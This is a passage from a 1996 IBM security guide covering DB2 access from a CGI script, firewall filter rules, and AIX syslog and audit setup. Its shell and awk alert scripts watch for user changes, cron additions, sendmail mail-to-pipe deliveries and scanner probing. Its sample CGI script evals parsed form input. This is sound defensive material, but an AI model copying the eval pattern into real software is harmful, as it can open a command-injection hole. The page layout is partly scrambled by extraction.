way to execute CGI scripts in those directories. This would allow any user to
install scripts to be run by the server, without you being able to check their
operation and integrity.
Chapter 8. Locking the Back Door: Hardening the Underlying System
109
110
Safe Surfing: How to Build a Secure WWW Connection
Chapter 9. Integrating Business Applications
The World Wide Web originated as a technique for making online documents
available in an easy manner. It has evolved into a vehicle for many types of
interactive application. As this change progresses it will have a significant effect
on the type of data that a Web server handles. Most Web servers today are
handling mainly static data. Even those services that are updated regularly,
such as news services and weather forecasts, are essentially working with static
data. The server pages are regularly updated in batch; it just happens more
frequently than at most sites.
As Web applications become more interactive, the servers are called upon to
handle more dynamic data. For example, if you are running an online hotel
booking system you would need your server to have read access to information
about room availability and customer records, and write access to a booking
database. All of this is dynamic information that may change many times a day.
From a security viewpoint the need to access dynamic business data presents us
with a conundrum. We have said in Chapter 7, “Locking the Front Door: Firewall
Considerations” on page 85 that we want to protect our internal business
applications from the dangerous world of the Internet in which our Web server
must live. Now we find a need to expose some of that valuable business data on
the Web server.
What we need is a facility to allow us to access business data from within a CGI
script on our Web server. IBM now provides two products, the DB2 WWW
Connection and the CICS Internet Gateway to do this. In this chapter we show
an example using the former product, and describe what is needed to secure it.
If you want to know more about the CICS Internet Gateway, we recommend you
read Accessing CICS Business Applications from the World Wide Web ,
SG24-4547.
9.1 Doing Remote DB2 Queries on AIX
The following example shows a simple way to query a DB2 database from a Web
server. The database itself is on a system within the secure network, only the
query mechanism is executed on the web server. The request is sent through
the firewall filters. Figure 62 on page 112 shows the configuration.
 Copyright IBM Corp. 1996
111
Figure 62.
DB2 Queries Via a Web Server
To do DB2 queries on the Web server you need to install IBM AIX Database 2
Client Application Enabler/6000 on the Web server. If you do not have compiled
query programs but want to use the interactive query program for DB2 then you
also need to install the IBM AIX Database 2 Software Developers Kit/6000. In
our example we used a very simple command line query and therefore installed
both components. We used an already existing database from another project
that was taking place at ITSO-Raleigh concurrently with ours.
In this example we rely on simple client authentication. In other words, the Web
server is allowed to make queries on tables that it is authorized for on the DB2
server. There is no individual user authentication. On the DB2 server the
instance owner (the DB2 administrator) needs to grant access to the ID of the
httpd daemon using the appropriate DB2 commands. In our case we were
running httpd under the www ID, so the following series of commands were
needed on the database server:
grant
grant
grant
grant
grant
grant
grant
connect on database to www
select on nvdm_node to www
select on nvdm_users to www
select on nvdm_servers to www
select on nvdm_groups to www
select on nvdm_queues to www
select on nvdm_cfg_static to www
Note that the www ID is configured only on the Web server, not on the DB2
server. The DB2 client labels the requests it sends with the account name from
which the requests come.
DB2 does not have fixed port numbers for its services; they can be selected
wherever there is a free port. The TCP ports 3700 and 3701 were used in our
example. You need to define them in the /etc/services file as follows:
db2nvdmc
db2nvdmi
3700/tcp
3701/tcp
# DB2 main connection port
# DB2 interrupt port
There are several things that need to be put in place to establish this session:
•
112
The DB2 server in this example is at address 9.24.104.27, IP name
rs60004.itso.ral.ibm.com. To make the server accessible you will need to run
the appropriate DB2 administration commands on the client:
Safe Surfing: How to Build a Secure WWW Connection
db2 catalog tcpip node dbserv remote rs60004.itso.ral.ibm.com server db2nvdmc
db2 catalog database nvdm_cfg at node dbserv authentication client
The statements above set up the remote connection and tell DB2 to use
authentication based on the AIX ID the query is coming from on the client.
•
This session has to pass through the firewall packet filter, so filters need to
be opened up to allow sessions between the Web server and the inside
systems.
Assuming a scenario with systems that double as servers and firewalls, such
as the one shown in Figure 53 on page 92, the client needs to open up
connections coming from ports greater than 1024 to the ports 3700 and 3701
on the internal DB2 server. The following filter rules need to be put in place
on the Web server itself:
# open
permit
permit
permit
permit
peephole for DB2 gateway
9.24.104.27 0xffffffff 192.168.10.3
192.168.10.3 0xffffffff 9.24.104.27
9.24.104.27 0xffffffff 192.168.10.3
192.168.10.3 0xffffffff 9.24.104.27
0xffffffff
0xffffffff
0xffffffff
0xffffffff
tcp/ack eq 3700 ge 1024 secure local inbound
tcp ge 1024 eq 3700 secure local outbound
tcp/ack eq 3701 ge 1024 secure local inbound
tcp ge 1024 eq 3701 secure local outbound
The filter on the gateway would look like the following:
# open
permit
permit
permit
permit
•
peephole for DB2 gateway
9.24.104.27 0xffffffff 192.168.10.3
192.168.10.3 0xffffffff 9.24.104.27
9.24.104.27 0xffffffff 192.168.10.3
192.168.10.3 0xffffffff 9.24.104.27
0xffffffff
0xffffffff
0xffffffff
0xffffffff
tcp/ack eq 3700 ge 1024 secure
tcp ge 1024 eq 3700 non-secure
tcp/ack eq 3701 ge 1024 secure
tcp ge 1024 eq 3701 non-secure
route
route
route
route
both
both
both
both
Once those filters are in place and the DB2 code is installed, you need to set
up the usual DB2 information. The user ID that the Web server is run under
needs to be set up for the DB2 database so that the Web server has access
to the data it needs.
Having completed the setup, we can use the DB2 CGI interface. A very simple
CGI script for queries is shown in Figure 63 on page 114.
Chapter 9. Integrating Business Applications
113
#!/usr/bin/ksh
# simple example for web queries
# set up DB2 environment variables...
export DB2INSTANCE=dbmsadm
export PATH=${PATH}:/home/dbmsadm/sqllib/bin:/home/dbmsadm/sqllib/adm
export PATH=${PATH}:/home/dbmsadm/sqllib/misc
export DB2BQTIME=1
export DB2BQTRY=60
export DB2RQTIME=5
export DB2IQTIME=5
# the following defines the implicit connect to the database
export DB2DBDFT=NVDM_CFG
export DB2COMM=
export DB2CHKPTR=OFF
export DB2GROUPS=OFF
# a temporary file is used to set up queries.
# this reduces the number of verbose messages from the db2 command
TMPFILE=/tmp/$(basename $0).$(date +′%H%M%S′ ) . $$
# get variables entered in the form by the user
# (not needed in this example)
eval $(/usr/lpp/internet/server_root/cgi-bin/cgiparse -form)
# Create the query in the temporary file
cat << EOF > $TMPFILE
select * from dbmsadm.nvdm_users
EOF
# Send HTML header
echo ″Content-type: text/html″
echo ″″
echo ″<HTML>″
echo ″<HEAD><TITLE>List a DB/2 table</TITLE></HEAD>″
echo ″<BODY>″
echo ″<H1>Checking a DB2 table</H1>″
echo ″<pre>″
# Execute query and send result
# this could be much more elaborate with some awk based formatting....
db2 -f $TMPFILE
# clean up
echo ″</pre></body> </html>″
rm $TMPFILE
Figure 63. Simple DB2 CGI Example
We invoked this CGI script with the simple HTML form shown in Figure 64.
<HTML>
<TITLE>List a DB2 table</TITLE>
<body>
<P>
<h2>Please fill out the order form</h2>
<form method=″POST″ action=″ / cgi-bin/listtable″>
<p>
<h3>Press the button:</h3><INPUT TYPE=″submit″>
</form>
</body>
</HTML>
Figure 64. HTML Form for DB2 CGI Example
This example gives us a good balance between protecting the DB2 database and
making data accessible to users of the Web server. The filter rules guarantee
that SQL queries can only be entered from the Web server machine. The SQL
query itself is hard coded into the CGI script, so there is no easy way for a
hacker to misuse the interface unless the Web Server is seriously compromised.
114
Safe Surfing: How to Build a Secure WWW Connection
Even if a hacker did manage to place his own CGI script on the server, it would
be limited to the DB2 access defined by the database administrator.
One issue that is ignored by this simple example is that of user authentication.
The access control in this case is based on the ID of the Web server itself, not of
the individual client user. Extending the example to include user authentication
would raise other questions, such as how to protect user IDs and passwords. A
solution using SSL or S-HTTP would be appropriate.
Chapter 9. Integrating Business Applications
115
116
Safe Surfing: How to Build a Secure WWW Connection
Chapter 10. Auditing, Logging and Alarms
In this book we have looked at many ways to secure World Wide Web
application-level connections and the systems and gateways that support them.
This is our first line of defense, to keep attackers out of our systems. However,
it is equally important to monitor the systems so that if an attacker evades our
defense we are aware of it and can take remedial action.
There are three monitoring areas that we are interested in:
1. The Web server application itself
2. The Web server operating system
3. The firewall(s)
So what are we trying to find? Some things are obvious; if a new user ID
mysteriously appears or an important file is updated unexpectedly, it is a sure
sign that someone has broken into the system. Other kinds of attack have more
subtle symptoms. For example, it is quite normal that the firewall filters will
reject some packets. In fact, the firewall log will record steady background
activity of such packets, caused by users making mistakes or net surfers gently
probing for interesting applications. There is a big difference between that kind
of activity and the kind of concentrated probing that a tool such as Satan or
Strobe would produce. You might, therefore, want to watch for bursts of filter
failures associated with one particular source address.
In the ideal scenario, intruders and attackers are detected and dealt with as
soon as they appear. In reality it is quite likely that someone will remain
undetected for some time. This is where logging becomes important, to give you
a chance to retrace the hacker′s steps and repair any damage he has done.
As we discussed in Chapter 8, “Locking the Back Door: Hardening the
Underlying System” on page 99, OS/2 logging is less sophisticated than AIX (to
be precise: the Web server logs application activity, but it does not provide the
depth of operating system logging of a UNIX system). Therefore in this section
we will concentrate on the AIX environment.
10.1 Auditing and Logging on AIX
This chapter guides you through a complete audit and log setup. To make things
slightly clearer, Figure 65 on page 118 shows what is going to happen.
 Copyright IBM Corp. 1996
117
Figure 65. Log Management Overview
•
Log data from various daemons is gathered via the UNIX syslog process.
•
The audit subsystem is set up to send its data to syslog as well.
•
The syslog daemon (syslogd) forwards the data to a log host.
•
The log host runs a script for log monitoring and daily log analysis. Logs are
archived daily.
•
Web server logs are sent to the log host via E-mail once a day. On the log
host they are stored in the archive.
The following sections describe the setup of each of the components for this
environment.
10.1.1 Configure Logging
There are various types of logs on AIX systems. You can have syslog logs and
audit logs if you configure them. By default there are log records for failed
logins (/etc/security/failedlogin) and switch user ID (su) requests
(/var/adm/sulog). This information can be gathered from syslog as well.
Nearly all system information can be gathered via syslog or sent through syslog.
Therefore this chapter focuses on handling logging via syslog so that all relevant
information is found in one place.
10.1.1.1 Setting Up syslogd
AIX systems have the syslog daemon that collects log information from other
daemons. By default, syslogd is configured to not save any records; to change
this you need to adapt /etc/syslog.conf to fit your needs. We suggest keeping
local logs in /var/log. We also recommend that you log everything; otherwise,
you might miss something important. The cost of logging everything is, of
course, that it uses disk space. However, with the cost of disks falling daily it is
false economics to limit your logging.
118
Safe Surfing: How to Build a Secure WWW Connection
For example enter the following into /etc/syslog.conf and then create the
directory /var/log.
*.debug
/var/log/debug
Use the touch command to create /var/log/debug. The syslog daemon will not
create the file itself.
Now you can run the following command:
refresh -s syslogd
The log entries will be written to /var/log/debug.
We suggest that you always have a window open where you can see the log
(use the command tail -f /var/log/debug) while working on the system. You
will find quite a lot of interesting information from daemons in there. Syslog will
record failed login attempts and other valuable data.
A wily hacker knows, of course, that his activities will be detected if the system
administrator is doing a good job of logging. For this reason, one of the first
things an intruder will often do is to modify the syslog output file to hide his
break-in attempt. The best solution is to transfer the log to a remote system in
real time. Let′s assume there is such a system called loghost.your.domain. Add
the following to your /etc/syslog.conf file:
*.debug
@loghost.your.domain
This will cause all log entries to be sent to the syslog daemon on the log host
you specified. You then need to configure syslogd on the log host to store the
log data somewhere.
We strongly suggest using this method. All of the sample scripts below may be
used on the critical system or the log host (the latter being preferred).
Note that syslog does not retry operations. Once syslog cannot write to an
output channel, it will not try again until it is restarted. So, if you forgot to create
an output file or if the target host is unreachable for remote logging, make sure
you restart syslogd after fixing the problem.
10.1.1.2 Logging All Logins via Syslog
Although syslog will log failed logins, successful and unsuccessful su commands
as well as ftp access, it will not log normal logins because the login/getty/tsm
program does not report them via syslog. To avoid having to use yet another
log file for that type of information, we suggest installing a custom authentication
method that will put the regular login information in syslog. This is done by first
creating a new secondary authentication method. The authlog shell script shown
in Figure 66 should be placed in /usr/local/etc.
#!/usr/bin/ksh
/usr/bin/logger -t tsm -p auth.info ″$(/usr/bin/tty) login from [email protected]″
Figure 66. authlog Shell Script
This script is called for every successful login and sends the user ID and tty
information to syslog via the logger command. To activate it, we need to tell the
system that this is a valid authentication method. This is done by putting the
following lines in /etc/security/login.cfg:
Chapter 10. Auditing, Logging and Alarms
119
AUTHLOG:
program = /usr/local/etc/authlog
The final step is to make this a secondary authentication method for all users.
Edit the file /etc/security/user and modify the default stanza to have the following
auth2 attribute:
auth2 = AUTHLOG
Once you have done this, have a look at the syslog output in /var/log/debug the
next time you log in. You should see a message like the following:
Aug 28 16:28:09 rs60007 tsm: /dev/pts/3 login from root
Since the failed login messages are flagged with the tsm label as well, it is very
easy now to find all the log in events with one grep command.
When working with a system running Secured Network Gateway, this is not
necessary because it will report normal logins by default.
10.1.2 Managing System Logs
No matter where the logs are, they tend to grow. You need a mechanism to
manage the logs. The Secured Network Gateway already has a log
management tool for its log files. But what do you use if you run a Web server
that is not secured by SNG but by other means, or if you have other logs that
you need to manage?
One possibility is to use the fwlogmgmt command from Secured Network
Gateway, if available, to manage log files. Another possibility is to create your
own log management process, such as that outlined below. The following
method has the advantage of having the logs always available in clear text as
they are written to a compressed file system. The mechanism will make sure
that there is a new syslog log file for every day and that old log files are sent to
an archive.
The scripts assume that all the syslog data is sent to /var/log/debug and that the
archives for older log information is under the /archive directory. Use the
following steps to set up the monitoring process:
1. Create the file system /archive. Create it with compression active, a block
size of 512 and a bpi value of 8192. Use smit crfs or enter the following
command:
crfs -v jfs -grootvg -a size=1000000 -m/archive -Ayes -prw -tno -a frag=512
-a nbpi=8192 -a compress=LZ
Mount the file system and give it mode 750. It should be owned by
root.system.
2. Set up a process to generate new log archive directories each month. The
script in Figure 67 on page 121 should be placed in /usr/local/etc/monthly.
120
Safe Surfing: How to Build a Secure WWW Connection
#!/usr/bin/ksh
# Create a new log directory for each month
# this is run out of cron: 1 0 1 * * /usr/local/etc/monthly
# make sure it is run after log processing on the first day
# of each month
# afx 3/93
D=$(/usr/bin/date +′%m.%y′ )
log=/archive/log
new=$log.$D
/usr/bin/mkdir -m 750 $new
/usr/bin/rm -f $log
/usr/bin/ln -s $new $log
Figure 67. The monthly Shell Script
Run the script once to set up the log directory for this month. This will
create the following entries in /archive:
# ls -l /archive
lrwxrwxrwx 1 root
drwxr-x--- 2 root
system
system
18 Sep 11 14:21 log -> /archive/log.09.95
512 Sep 15 00:10 log.09.95
3. Add the script to the cron table for root with crontab -e. The cron entry
should be as follows:
1 0 1 * * /usr/local/etc/monthly
The script will then be executed on the first day of each month at 0:01 in the
morning. This ensures that all the archived logs for one month are in one
easily accessible directory. Should you no longer need them you can
remove them with the rm command. We suggest keeping at least two
months of old log entries.
4. Set up a script that does nightly log processing. Figure 68 on page 122 lists
/usr/local/etc/newlog which will make sure that we have a new log every
night. It archives the current log file and creates a new log file. It also starts
other processes, such as the hotalert script (see page 125) that need to be
attached to the newly created log file and the daily log analysis (see page
128 for the logcheck script). Finally, it removes old log files from the log
directory.
Chapter 10. Auditing, Logging and Alarms
121
#!/usr/bin/ksh
umask 057
PATH=/usr/bin:/usr/sbin
LOGARCHIVE=/archive/log
SYSLOG=/var/log/debug
MAXLOGTIME=10
TIMESTAMP=$(date +″%y%m%d.%H%M″ )
#
#
#
#
where are logs stored
the syslog log file
how long to we keep old log files
timestamp for archive
ln -f $SYSLOG $SYSLOG.scan
rm -f $SYSLOG
#
#
#
#
#
#
generate link for scan
remove original
scan plus date copy are still there
create new log file
add timestamped name to new logfile
tell syslogd about it
touch $SYSLOG
ln $SYSLOG $SYSLOG.$TIMESTAMP
refresh -s syslogd > /dev/null
# start a new log alert script for the new log file
/usr/local/etc/hotalert
# copy log file to archive
# nice -20 /usr/bin/compress < $SYSLOG.scan > $LOGARCHIVE/debug.$TIMESTAMP.Z &
# compress is not needed if this is a compressed AIX 4 file system....
cp $SYSLOG.scan $LOGARCHIVE/debug.$TIMESTAMP &
/usr/local/etc/logcheck $SYSLOG.scan && rm $SYSLOG.scan #scan the log file
# Remove anything that has not been acccessed within the last $MAXLOGTIME days
find /var/log ! -atime -$MAXLOGTIME -exec rm {} \; &
Figure 68. The n e w l o g Shell Script
5. Make sure this script is also run at boot time. Add /usr/local/etc/newlog to
rc.local.
10.1.3 Configuring the Audit Subsystem
In addition to Secured Network Gateway logs and logs from the Web server, you
should also set up the audit subsystem on AIX. It will allow you to trace all write
accesses to configuration files as well as any execution of a configuration utility
that changes parameters on the fly. The audit subsystem is configured via the
files in /etc/security/audit.
We need two new audit events that will be triggered for write access or
execution of configuration programs. Those events are configured in the events
file. Add the following entries to that file:
* writing to configuration files
CFG_WRITE = printf ″%s″
* execution of config utilities
CFG_EXEC = printf ″%s″
The events CFG_WRITE and CFG_EXEC can now be used in the objects file to set
up the events for critical files.
If we want to monitor for illicit changes to configuration files, all such files should
be listed in the objects file. Therefore, all files under /etc are good candidates.
To generate the objects file you can either use an editor and add them all
manually or you use find to add them to the file automatically. Entries in the
objects have the following format:
122
Safe Surfing: How to Build a Secure WWW Connection
/the/file/name:
w = CFG_WRITE
/another/file/name:
x = CFG_EXEC
To create the objects file use the following find command:
find /etc -type f -print > /etc/security/audit/objects
Then, erase all files from this list that are updated frequently such as /etc/utmp
and all the .pid files. Finally, edit the the file according to the above format. The
following vi editor subcommand would change the entry for every file listed:
:%s/$/\:^M w = ″CFG_WRITE″ /
To enter ^M in the above expression, you need to first type CTRL-V and then
CTRL-M in vi. The replacement expression will replace the line ends in the
whole file with a colon and an additional line that reads w = ″CFG_WRITE″.
Next, add any other configuration files outside of the /etc directory tree that you
have. For example, all the scripts presented below should be monitored for
write access. We also suggest tracing the execution of the no utility. This
modifies low level network parameters such as IP forwarding and IP source
routing. It is the kind of subtle change that a hacker may make when preparing
a back door into the system. The route command is another good candidate for
logging.
The following entries in the objects file will monitor these commands:
/usr/sbin/no:
x = CFG_EXEC
/usr/sbin/route:
x = CFG_EXEC
Most configuration changes will also change files. The no utility and the route
command are exceptions; they modify kernel networking parameters directly in
the kernel.
The audit subsystem, by default, writes to a file. We do not want this behavior.
Instead we want the audit subsystem to write to syslog so that we have the audit
data in a safe place on another system, inside the secure network. To do so we
need to construct an audit back end that writes to syslog. Figure 69 lists the
/etc/security/audit/tosyslog script which will do this.
#!/usr/bin/awk -f
BEGIN {printf (″%24s %8s %8s %13s Status Prog PID PPID: tail\n″ , ″ Date″ ,
″login″ , ″ real″ , ″ Event″ ) | ″ / usr/bin/logger -plocal1.notice -t AUDIT″}
/^[A-Z]/ {
# found a normal line
line = 1;
head=sprintf(″%s %s %2s %s %s %8s %8s %15s %4s %s %s %s″ ,
$4,$5, $6,$7,$8, $2,$10, $1, $3,$9,$11,$12);
next}
/^[ \t]/ {
# lines that start with tabs and spaces are tails
if (line==1) {sub(″^[ \t]*″ , ″ ″ ) ;
# get rid of leading whitespace
printf(″%s: %s\n″ , head,$0) | ″ / usr/bin/logger -plocal1.notice -t AUDIT ″ ;
line=0}
next}
Figure 69. Logging Back-End Script, tosyslog
The script takes two-line audit stream entries and reformats them into single line
entries that are then sent to syslog via the logger utility.
Chapter 10. Auditing, Logging and Alarms
123
To integrate our back end we need to adapt the streamcmds file as shown in the
following example:
/usr/sbin/auditstream -c user,config,mail,cron,SRC |
/usr/sbin/auditpr -vhelRtcrpP | /etc/security/audit/tosyslog &
The line has been split for printing; in the streamcmds file it must be one line.
The options shown for the auditpr command will emit all available information.
The tosyslog script is written to accept exactly this output.
To finish configuring the audit subsystem you need to edit the config file to
activate stream auditing and disable bin auditing. We will thus send a
continuous audit stream to the back end. You should also set up a class that
includes the events that we are interested in.
In addition to the two homemade events, we also include a few more
configuration-related events that are interesting. Finally, you need to activate
the audit classes for all user IDs on the system. Our configuration file is as
shown in Figure 70.
start:
binmode = off
streammode = on
bin:
trail = /audit/trail
bin1 = /audit/bin1
bin2 = /audit/bin2
binsize = 10240
cmds = /etc/security/audit/bincmds
stream:
cmds = /etc/security/audit/streamcmds
classes:
general = USER_SU,PASSWORD_Change,FILE_Unlink,FILE_Link,FILE_Rename,FS_
Chdir,FS_Chroot,PORT_Locked,PORT_Change,FS_Mkdir,FS_Rmdir
objects = S_ENVIRON_WRITE,S_GROUP_WRITE,S_LIMITS_WRITE,S_LOGIN_WRITE,S_
PASSWD_READ,S_PASSWD_WRITE,S_USER_WRITE,AUD_CONFIG_WR
SRC = SRC_Start,SRC_Stop,SRC_Addssys,SRC_Chssys,SRC_Delssys,SRC_Addserv
er,SRC_Chserver,SRC_Delserver
kernel = PROC_Create,PROC_Delete,PROC_Execute,PROC_RealUID,PROC_AuditID
,PROC_RealGID,PROC_Environ,PROC_SetSignal,PROC_Limits,PROC_SetPri,PROC_Setpri,P
ROC_Privilege,PROC_Settimer
files = FILE_Open,FILE_Read,FILE_Write,FILE_Close,FILE_Link,FILE_Unlink
,FILE_Rename,FILE_Owner,FILE_Mode,FILE_Acl,FILE_Privilege,DEV_Create
svipc = MSG_Create,MSG_Read,MSG_Write,MSG_Delete,MSG_Owner,MSG_Mode,SEM
_Create,SEM_Op,SEM_Delete,SEM_Owner,SEM_Mode,SHM_Create,SHM_Open,SHM_Close,SHM_
Owner,SHM_Mode
mail = SENDMAIL_Config,SENDMAIL_ToFile
cron = AT_JobAdd,AT_JobRemove,CRON_JobAdd,CRON_JobRemove,CRON_Start,CRO
N_Finish
tcpip = TCPIP_config,TCPIP_host_id,TCPIP_route,TCPIP_connect,TCPIP_data
_out,TCPIP_data_in,TCPIP_access,TCPIP_set_time,TCPIP_kconfig,TCPIP_kroute,TCPIP
_kconnect,TCPIP_kdata_out,TCPIP_kdata_in,TCPIP_kcreate
config = CFG_WRITE,CFG_EXEC
user = USER_SU,PASSWORD_Change
users:
root = user,config,mail,cron,SRC
bin = user,config,mail,cron,SRC
daemon = user,config,mail,cron,SRC
adm = user,config,mail,cron,SRC
www = user,config,mail,cron,SRC
Figure 70. Modified config File
Note that this file also has long lines that need to be continuous.
124
Safe Surfing: How to Build a Secure WWW Connection
To finally start the audit subsystem you need to run audit start. Stop the audit
subsystem with the audit shutdown command. If you get an error message
saying failed setting kernel audit events, then you most likely have a file in your
objects file that does not exist or is a symbolic link.
Once the audit subsystem has been started, test the setup with a simple update
command, for example:
echo >> /etc/hosts
Take a look at the syslog output file; it should have an entry such as the
following:
Sep 8 16:22:57 rs60007 AUDIT: Fri Sep 08 16:22:57 1995 root root CFG_WRITE
OK ksh 6774 4980: audit object write event detected /etc/hosts
To make sure that the audit subsystem is started at every reboot, add the audit
start command to /usr/local/etc/rc.local.
10.1.4 Generating Real Time Alerts
Having all the data in a log file is not very helpful if no one looks at it. But
several megabytes of log entries per day cannot really be browsed by the naked
eye. In addition, there are some log entries where you would like to know
immediately what is going on. There is also other information which you may
not want to gather into log files, but which can still indicate a problem. For
example you probably want to monitor critical daemons, paging space, disk
space and CPU utilization. These things may just be problems of everyday
operation, or they may indicate something more sinister, for example, a denial of
service attack.
Several vendors provide smart agents which allow you to monitor critical
resources in a consistent and convenient way. Usually these are SNMP agents
(but not necessarily, for example the Tivoli Sentry agent does not use SNMP).
IBM provides a family of such agents, Systems Monitor for AIX , which can poll
for information about processes, performance and other resources. It also has a
file monitoring capability, which can check for file updates and error messages.
You can configure Systems Monitor to take one or more actions if it detects an
unexpected event. Normally the action will be to send an SNMP trap to a
network management station, but it can also be to execute AIX commands.
Internally, Systems Monitor contains a number of MIB tables :
•
The instrumentation tables contain information about system processes,
utilization figures and network resources.
•
The file monitor table will monitor changes to critical files, and check for
error messages.
•
The command table allows you to add other commands to Systems Monitor
that the instrumentation and file monitor tables do not provide.
•
The threshold table polls MIB data on a regular cycle and executes actions if
it does not meet given conditions.
•
The filter table allows you to determin whether a given error should be
forwarded as a trap or not.
Figure 71 on page 126 shows conceptually how these tables can be used in
concert, to monitor critical resources. Building a Firewall With the Internet
Chapter 10. Auditing, Logging and Alarms
125
Connection Secure Network Gateway , SG24-2577, shows a practical
implementation of this technique.
Figure 71. Using Systems Monitor as a Security Alert Mechanism
An alternative approach to using a commercial agent, is to create your own
monitoring application, based on UNIX tools and facilities. The advantage of this
is that it is cheap and flexible. The disadvantage lies in the need for good UNIX
skills to create and maintain the process.
The script listed in Figure 72 on page 127 (/usr/local/etc/hotalert) uses the awk
command to generate alerts in real time as the log entries arrive.
It sends a message to the administrator for each critical log entry. This script
needs to be restarted every time a new log file is started. Therefore, it records
its old process IDs and kills them the next time it starts. This prevents old
processes from hanging around forever.
126
Safe Surfing: How to Build a Secure WWW Connection
#!/usr/bin/ksh -p
# Generate hot alerts for some syslog events
# afx 6/95
umask 077
PATH=/usr/bin:/usr/sbin:/usr/local/etc
# who gets the results
export [email protected]
# Threshold for filter alerts
Threshold=50
# syslog output file
syslog=/var/log/debug
# logfile
# you could also log those events to a tty or printer....
# currently no output is emitted
logfile=/dev/null
me=$(basename $0)
pidfile=/usr/local/etc/$me.pid
tail -f $syslog | awk -v admin=″$admin″ -v threshold=$Threshold ′
# Audit write events
/USER_Create|PASSWORD_/ {
usermod=″mail -s \″User change on ″$4 ″\″ ″ admin;
x=sprintf(″echo %s %s %s %s %s %4s %5s %s %s \| %s″ ,
$7,$8,$9,$4,$13,$14,$15,$18,$19, usermod) ;
gsub(″\\(|\\)″ , ″ ″ , x);
system (x);
next }
/CFG_WRITE|CFG_EXEC/ {
cfgmsg=″mail -s \″Config Write/Exec on ″$4 ″\″ ″ admin ;
x=sprintf(″echo %s %s %s %s Config write %s %s %s: %s \| %s″ ,
$7,$8,$9,$4,$11,$14,$15,substr($0,index($0,$23),1024),cfgmsg);
gsub(″\\(|\\)″ , ″ ″ , x);
system (x) ;
hot=1; next}
Figure 72 (Part 1 of 2). Sample Script for Generating Alert Messages
Chapter 10. Auditing, Logging and Alarms
127
# Change of user attributes
/USER_Change/ {
usermod=″mail -s \″User change on ″$4 ″\″ ″ admin;
x=sprintf(″echo %s %s %s %s %s %s %s %s %s %s %s %s %s \| %s″ ,
$6,$7,$8,$3,$4,$10,$12,$13,$14,$17,$18,$19,$20,usermod);
gsub(″\\(|\\)″ , ″ ″ , x);
system (x);
next}
# Cron job modifications
/CRON_JobAdd|AT_JobAdd/ {
cronjob=″mail -s \″Cron/AT job added on ″$4 ″\″ ″ admin;
x=sprintf(″echo %s %s %s %s %s %s %s %s: user %s file %s \| %s″ ,
$7,$8,$9,$4,$13,$11,$14,$15,$24,$21,cronjob );
gsub(″\\(|\\)″ , ″ ″ , x);
system(x);
next}
# mail to pipes
/sendmail\[[0-9]*\]:/&&/\=\|/
{
mailpipe=″mail -s \″Mail to pipe on ″$4 ″\″ ″ admin;
x=sprintf(″echo \″%s\″ \| %s″ , $0,mailpipe) ;
gsub(″\\(|\\)″ , ″ ″ , x);
system(x);
next}
/sendmail\[[0-9]*\]:/&&/\=\<\|/ {
mailpipe=″mail -s \″Mail to pipe on ″$4 ″\″ ″ admin;
x=sprintf(″echo \″%s\″ \| %s″ , $0,mailpipe) ;
gsub(″\\(|\\)″ , ″ ″ , x);
system(x);
next}
# Filter rejects...
/ ICA1036i\:/ {
m=$4;
rem=substr($10,3);
rejects[m,rem]++;
if ((rejects[m,rem] % threshold)==0) {
pipe=″mail -s \″Scanner on ″$4″ from \″″ rem ″ ″ admin;
x=sprintf(″echo \″There were %s or more rejected packets
from %s on %s\″ \| %s″ ,
rejects[m,rem],rem,m,pipe) ;
system(x);
}
next }
′ > $logfile &
pid=$!
[[ -s $pidfile ]] && kill $(cat $pidfile) > /dev/null 2>&1
ps -ef | egrep $pid | egrep -v ″egrep″ | awk ′ { print $2}′ > $pidfile
Figure 72 (Part 2 of 2). Sample Script for Generating Alert Messages
10.1.5 Daily Log Analysis
Even though Secured Network Gateway comes with a log analysis tool, there are
reasons to set up your own analysis process: Either you do not use Secured
Network Gateway or you need more tasks performed than only the analysis of
the Secured Network Gateway records. The script shown in Figure 73 on
page 129 uses awk to generate a daily report of interesting events on all
security critical machines. You can use it as an example of how to set up your
own analysis script.
The main idea is to extract events that are interesting and to ignore the rest.
Interesting events are those that point to configuration changes or attacks.
Other known events that are not really helpful will be ignored. Anything that is
left is considered unknown and therefore is interesting.
128
Safe Surfing: How to Build a Secure WWW Connection
#!/usr/bin/ksh -p
# analyze syslog debug logs for interesting items
# afx 2/95
umask 027
PATH=/usr/bin:/usr/sbin
# who gets the result
[email protected]
# Threshold above which filter rejects are reported
Threshold=50
# Where is the syslog file
if [[ -s ″$1″ ]] ; then
INPUT=$1
else
INPUT=/var/log/debug
fi
# Which machines are monitored, include all of them here
# use the names that appear in syslog listings
MACHINES=″rs60007 webserver filter1″
me=$(basename $0)
d=$(date +″%y%m%d.%H%M″ )
TMPDIR=/var/tmp/$me.$$.$d
mkdir -m 700 $TMPDIR
# extract machine specific files
for m in $MACHINES
do
i=$TMPDIR/$m.$d
egrep ″^.*\:[0-9][0-9] $m[\. ]″ $INPUT > $i
done
Figure 73 (Part 1 of 4). Sample Log Analysis Script
Chapter 10. Auditing, Logging and Alarms
129
# Let′ s see what kind of fun stuff we have.
# Some special items are extracted explicitly.
# Known junk is ignored.
# Anything else is logged to not miss any yet unknown events
# We don′ t bother for socks/wrapper checks as this will be done
# by real-time mail warnings
HotStuff=$TMPDIR/hot.$d
rm -f $HotStuff
lm=″″
for m in $MACHINES
do
i=$TMPDIR/$m.$d
awk -v machine=$m -v threshold=$Threshold ′
BEGIN
{hot=0} # if hot is set, then the event was interesting
# First the log in / su / user modification events
/ USER_Create|PASSWORD_/ { printf(″%s %s %s %s %s %4s %5s %s %s\n″ ,
$7,$8,$9,$4,$13,$14,$15,$18,$19);
hot=1;next}
# Change of user attributes
/ USER_Change/ {
printf(″%s %s %s %s %s %s %s %s %s %s %s %s %s\n″ ,
$6,$7,$8,$3,$4,$10,$12,$13,$14,$17,$18,$19,$20);
hot=1; next}
/ tsm\: /
{ print $0 ;hot=1;next}
/ gwauth\: /
{ print $0 ;hot=1;next}
/ xdm\: /
{ print $0 ;hot=1;next}
/ su\: /
{ print $0 ;hot=1;next}
/ rshd\[[0-9]*\]\: /
{ print $0 ;hot=1;next}
/ rlogind\[[0-9]*\]\: / { print $0 ;hot=1;next}
# Audit write events
/CFG_WRITE/ { t=substr($0,index($0,$23),1024);
printf(″%s %s %s %s Config write by %s %s %s: %s\n″ ,
$7,$8,$9,$4,$11,$14,$15,t);
hot=1; next}
/CFG_EXEC/ { t=substr($0,index($0,$23),1024);
printf(″%s %s %s %s %s executed by %s %s: %s\n″ ,
$7,$8,$9,$4,$15,$11,$14,t);
hot=1; next}
# Cron job modifications
/CRON_JobAdd|AT_JobAdd/ {
printf(″%s %s %s %s %s %s %s %s: user %s file %s \n″ ,
